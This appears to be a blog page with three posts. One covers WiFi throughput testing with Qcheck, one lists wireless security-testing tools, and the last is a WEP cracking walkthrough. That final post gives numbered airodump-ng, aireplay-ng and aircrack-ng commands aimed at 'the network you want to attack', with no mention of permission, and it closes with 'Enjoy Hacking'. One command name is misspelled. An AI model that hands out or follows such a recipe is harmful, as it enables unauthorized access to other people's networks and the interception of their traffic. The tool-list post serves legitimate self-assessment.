Check WiFi Network Performance with Qcheck to Help Improve Throughput

When you buy network hardware, including a hub/router and network cards, you're told that hardware's rated speedfor example, 100Mbps for an Ethernet network, or 11Mpbs for an 802.11b WiFi network.

But those numbers only tell you how your network might perform in ideal conditions; as the saying goes, "your mileage may vary," and it usually does. WiFi networks are particularly finicky and are especially prone to being affected by interference and other factors. Where you place your wireless access point and PCs and how you position their antennas can make a dramatic difference in the actual speed of your network. So, you'll want to know the true connection speed of your network, WiFi networks in particular, so that you can optimize their performance when you troubleshoot them.

But how can you find out your true network performance? If you have a WiFi card, you can find information about your connection by clicking the small network icon in the Notification Area (also called the system tray). When you do that, the Wireless Network Connection Status screen appears.

There's only one problem with that screen: it's highly inaccurate. True, its little green bars and Signal Strength indication give you a broad picture of the relative strength of your network connection. But the Speed indication isn't an actual measurement as far as I can tell; it appears to tell you only your maximum theoretical connection speed, given the nature of your hardware, and doesn't reflect your true current connection speed. When I use my WiFi network, it always tells me the speed is 11Mbps, even when actual, real-time measurement shows my true throughput is less than half of that.

So, how do you measure the true speed of a network in your real-world conditions? Get the free program Qcheck (http://www.ixiacom.com/products/performance_applications/pa_display.php?skey=pa_q_check). 

 

It performs a series of tests, including throughput and response time, and gives you a good snapshot of your network's real performance. When trying to optimize a WiFi network, run Qcheck on each PC on the network to get baseline performance results for each. Then run the test for each PC after you move the base station and PCs, change the positioning of the antennas, and so forth, as outlined in. That way, you'll be able to fine-tune your network for optimum efficiency.

Once installed on every machine in your network, Qcheck measures the performance of the network between any two of your PCs. Qcheck is made up of two components: the console where you run your tests, and an endpoint, which runs invisibly in the background on each PC on which you've installed Qcheck. While the exact metrics vary from test to test, the program works by sending data from one PC to another on your network. The data is then sent from the receiving PC back to the originating PC, and Qcheck measures the round-trip time, calculates throughput, and displays the results.

8:12 PM by Shubham Mittal · 0

Top 10 Essential tools for Hacking Wireless Networks

 

As with any trade, it’s essential to have the right tools when testing your wireless network for security  vulnerabilities. Here are ten tools i m including that will assist you to increase the throughput of yur pen test.

Laptop Computer
For starters, you’ve got to a have a good test system — preferably a portable laptop computer. Although it is possible to perform wireless-security testing using a handheld device such as a Pocket PC, the tools available on such devices are limited compared to those on a laptop system.
Due to the multiple operating system requirements of the popular wireless testing tools, we recommend using either a system that can dual boot Windows (preferably 2000 or XP) and Linux (any recent distribution will do) or a Windows-based system running a virtual machine program (such as VMware) on which you can install multiple operating systems. The hardware requirements  for systems running a single operating system are pretty minimal given today’s standards. A system with a Pentium III or equivalent processor, 256MB RAM, and at least a 30–40GB hard drive should be more than enough. If you’ll be running VMware or another virtual machine program, you’ll want to at least double this amount of RAM and hard drive space.

Wireless Network Card
In addition to the laptop, you’ve got to have a good wireless network-interface card (NIC). Look for a PC Card NIC that’s not only compatible with the various wireless tools, but one that also has a connector for an external antenna so you can pick up more signals. The Orinoco Gold card (and its re-badged equivalents) serves both purposes very well. Many wireless NICs built in to today’s laptops are good general purpose cards, but your test results may be limited due to the shorter radio range capability of the internal antennas.

Antennas and Connecting Cables
A high-gain unidirectional or omnidirectional antenna — or cantenna — will do wonders for you when you’re scanning your airwaves for wireless systems. When you’re shopping for antennas, look for one with a pigtail connection that matches the type of connector you have on your wireless NIC. Also be aware that the length of these pigtail cables should be kept as short as possible. Because they’re made with a very thin microwave coax, these cables have fairly high signal losses at microwave frequencies and with the connectors placed on either end of the pigtail cable. To avoid high cable losses, you should not use a pigtail cable longer than 5 feet.

GPS Receiver
If you’ll be war-walking/driving/flying — or if your wireless systems span across a large building or campus environment — then it’s time to think globally:  A global positioning satellite (GPS) receiver will come in handy. With a GPS receiver, you’ll be able to integrate your wireless testing software and pinpoint the locations of wireless systems within a few meters.

Stumbling Software
To get your wireless testing rolling, wireless stumbling software is essential; you can use it to map out things like SSIDs, signal strength, and systems using WEP encryption. Software you can use for this includes Network Stumbler for Windows or your wireless NIC management software. For really basic stumbling, you can even use the management software built in to Windows XP.

Wireless Network Analyzer
To probe deep into the airwaves, a network analyzer is essential. Programs such as Kismet, AiroPeek, and ethereal can help you monitor multiple wireless channels, view protocols in use, look for wireless system anomalies — and even capture wireless data right out of thin air.

Port Scanner
A port scanner such as nmap or SuperScan is a great tool for scanning the wireless systems you stumble across to find out more about what’s running and what’s potentially vulnerable.

Vulnerability Assessment Tool
A vulnerability-assessment tool such as Nessus, LANguard Network Security Scanner, or QualysGuard is great for probing your wireless systems further to find out which vulnerabilities actually exist. This information can then be used to poke around further and see what the bad guys can see and even potentially exploit.

Google
It’s not only a great reference tool, but the Google search engine can also be used for searching Network  Stumbler .NS1 files, digging in to the Web-server software built in to your APs, finding new wireless-security testing tools, researching vulnerabilities, and more. The Google taskbar (downloadable for Internet Explorer, built in to FireFox) makes your searching even easier.

An 802.11 Reference Guide
While performing ongoing ethical hacks against your wireless systems, you’ll undoubtedly need a good reference guide on the IEEE 802.11 standards at some time or another. The 802.11 wireless protocol is very complex and will evolve over time. You’ll likely need to look up information on channel frequency ranges, what a certain type of packet is used for, or perhaps a default 802.11 setting or two. The Cheat Sheet, the wireless resources found in Appendix A in this book, as well as Peter’s book Wireless

11:56 PM by Shubham Mittal · 0

How to Hack WiFi (WEP) Using Backtrack 4

1. Boot Live CD/DVD of BackTrack 4. After it boots, type in "startx" to start GUI

2. Open new Konsole (backtrack's terminal).

3. Type, not using qoutes, "airodump-ng wlan0". Now find the network you want to attack. Copy the BSSID and the channel (write down on piece of paper and keep handy)

4. Open new Konsole, type "airodump-ng -w wep -c 11 --bssid 00:24:b2:80:d7:3c wlan0"   **X & 00:24:b2:80:d7:3c are examples of the channel and bssid you should have copied**

5. You are now fixed on to the network you want to attack.

6. Close the first Konsole, open a new Konsole and type "aireplay-ng -1 0 -a 00:24:b2:80:d7:3c wlan0"  **00:24:b2:80:d7:3c is an example as well**

7. Open another new Konsole, type "aireplay-ng -3 -b 00:24:b2:80:d7:3c wlan0"  **00:24:b2:80:d7:3c example"

8. Go to first Konsole, wait for the Data to reach to 30,000; go to 3rd Konsole, hit CNTL + C, then type in "dir", hit enter

9. Type "airecrack-ng wep.01.cap", hit enter.

10. Let it run its course, should only take a few moments. Once key is found, it will show up with semi-colons in it. Take out the semi-colons, and this will be the key. (Example of key; 53:06:66:51:50, so it will be 5306665150)

11. Enjoy Hacking, Enjoy Hackton.

10:02 PM by Shubham Mittal · 0